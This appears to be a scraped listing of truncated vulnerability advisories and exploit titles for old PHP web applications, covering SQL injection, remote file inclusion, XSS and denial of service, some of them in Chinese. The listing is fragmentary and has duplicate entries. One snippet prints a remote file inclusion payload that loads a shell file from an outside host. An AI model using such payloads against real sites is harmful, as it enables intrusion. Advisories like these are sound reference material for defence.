CVE-2008-1162: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in album.php in PHP WEB SCRIPT Dynamic Photo Gallery 1.02 allows remote attackers to execute arbitrary SQL commands via the albumID parameter...

Dynamic photo Gallery 1.02 - 'albumID' SQL Injection

Aria-Security Team http://Aria-Security.Net ---------------------------- Shoutz: Aura, imm02rtal, NULL, Kinglet And all our staff Vendor: http://www.phpwebscript.net/dynamicphotogallery/foto-gallery.php Original Link: http://forum.aria-security.net/showthread.php?p=1521 PoC:...

Particle Blogger Archives.PHP SQL注入漏洞

Particle Blogger是一款基于PHP的WEB应用程序。 Particle Blogger不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是'Archives.PHP'脚本对用户提交的'month'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 Particle Soft Particle Blogger 1.2.1 Particle Soft Particle Blogger 1.2 Particle Soft Particle Blogger 1.1.2 Particle Soft Particl...

PHP < 4.5.0 - Unserialize Overflow (Metasploit)

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'PHP 4...

pwp-rfilfi.txt

php web portail remote file include & local file include download site: https://sourceforge.net/project/showfiles.php?groupid=178400 product:php web portail bug: remote file include & local file include risk : high local file include :...

Portail Web PHP 2.5.1 - includes.php Remote File Inclusion

Portail Web PHP 2.5.1 - includes.php Remote File Inclusion php web portail remote file include download site: https://sourceforge.net/project/showfiles.php?groupid=178400 product:php web portail bug: remote file include risk : high remote file include :...

Portail Web Php <= 2.5.1 (includes.php) Remote File Inclusion Vuln

Exploit for unknown platform in category web applications ================================================================== Portail Web Php = 2.5.1 includes.php Remote File Inclusion Vuln ================================================================== php web portail remote file include...

Portail Web PHP 2.5.1 - 'includes.php' Remote File Inclusion

php web portail remote file include download site: https://sourceforge.net/project/showfiles.php?groupid=178400 product:php web portail bug: remote file include risk : high remote file include : /includes/includes.php?sitepath=http://site.com/shell.txt?%00 laurent gaffié http://s-a-p.ca/ contact:...

Slooze PHP Web Photo Album验证绕过漏洞

Slooze PHP Web Photo Album是一款基于PHP的WEB应用程序。 Slooze PHP Web Photo Album不正确过滤用户提交的输入，远程攻击者可以利用漏洞未授权访问应用程序。 问题是由于脚本的验证机制缺少正确处理，攻击者可以提交恶意参数绕过验证，以管理员权限访问应用程序。 Slooze PHP Web Photo Album 0.2.7 目前没有解决方案提供： http://www.slooze.com/...

CVE-2006-5481

Multiple PHP remote file inclusion vulnerabilities in 2le.net Castor PHP Web Builder 1.1.1 allow remote attackers to execute arbitrary PHP code via the rootpath parameter in 1 lib/code.php, 2 lib/dbconnect.php, 3 lib/error.php, 4 lib/menu.php, and other unspecified files. NOTE: the provenance of...

CVE-2006-5481: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in 2le.net Castor PHP Web Builder 1.1.1 allow remote attackers to execute arbitrary PHP code via the rootpath parameter in 1 lib/code.php, 2 lib/dbconnect.php, 3 lib/error.php, 4 lib/menu.php, and other unspecified files. NOTE: the provenance of...

CVE-2006-5480: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in lib/rs.php in 2le.net Castor PHP Web Builder 1.1.1 allows remote attackers to execute arbitrary PHP code via the rootpath parameter...

CVE-2006-5166: Undefined Security Weakness

PHP remote file inclusion vulnerability in functions.php in PHP Web Scripts Easy Banner Free allows remote attackers to execute arbitrary PHP code via a URL in the sphppath parameter...

CVE-2005-4014

stat.php in PHP Web Statistik 1.4 allows remote attackers to cause a denial of service CPU consumption via a large lastnumber value...

CVE-2005-4015

PHP Web Statistik 1.4 does not rotate the log database or limit the size of the referer field, which allows remote attackers to fill the log files via a large number of requests, as demonstrated using pixel.php...

CVE-2005-4012

Multiple cross-site scripting XSS vulnerabilities in PHP Web Statistik 1.4 allows remote attackers to inject arbitrary web script or HTML via 1 the lastnumber parameter to stat.php and 2 the HTTP referer to pixel.php...

CVE-2005-4013

PHP Web Statistik 1.4 stores the stat.cfg file under the web root with insufficient access control, which allows remote attackers to obtain sensitive information such as statistics and the log directory location, possibly including the logdb.dta file...

CVE-2005-4012

The CVE-2005-4012 entry describes multiple cross-site scripting (XSS) vulnerabilities in PHP Web Statistik 1.4 . An attacker can inject arbitrary script via (1) the lastnumber parameter to stat.php and (2) the HTTP Referer to pixel.php. The NVD entry lists a Medium base score (4.3) with no authen...

CVE-2005-4013

PHP Web Statistik 1.4 stores the stat.cfg file under the web root with insufficient access control, allowing remote attackers to read sensitive information such as statistics and the log directory location, and possibly the logdb.dta file. Root cause: weak access permissions on stat.cfg exposed v...

CVE-2005-4012

Multiple cross-site scripting XSS vulnerabilities in PHP Web Statistik 1.4 allows remote attackers to inject arbitrary web script or HTML via 1 the lastnumber parameter to stat.php and 2 the HTTP referer to pixel.php...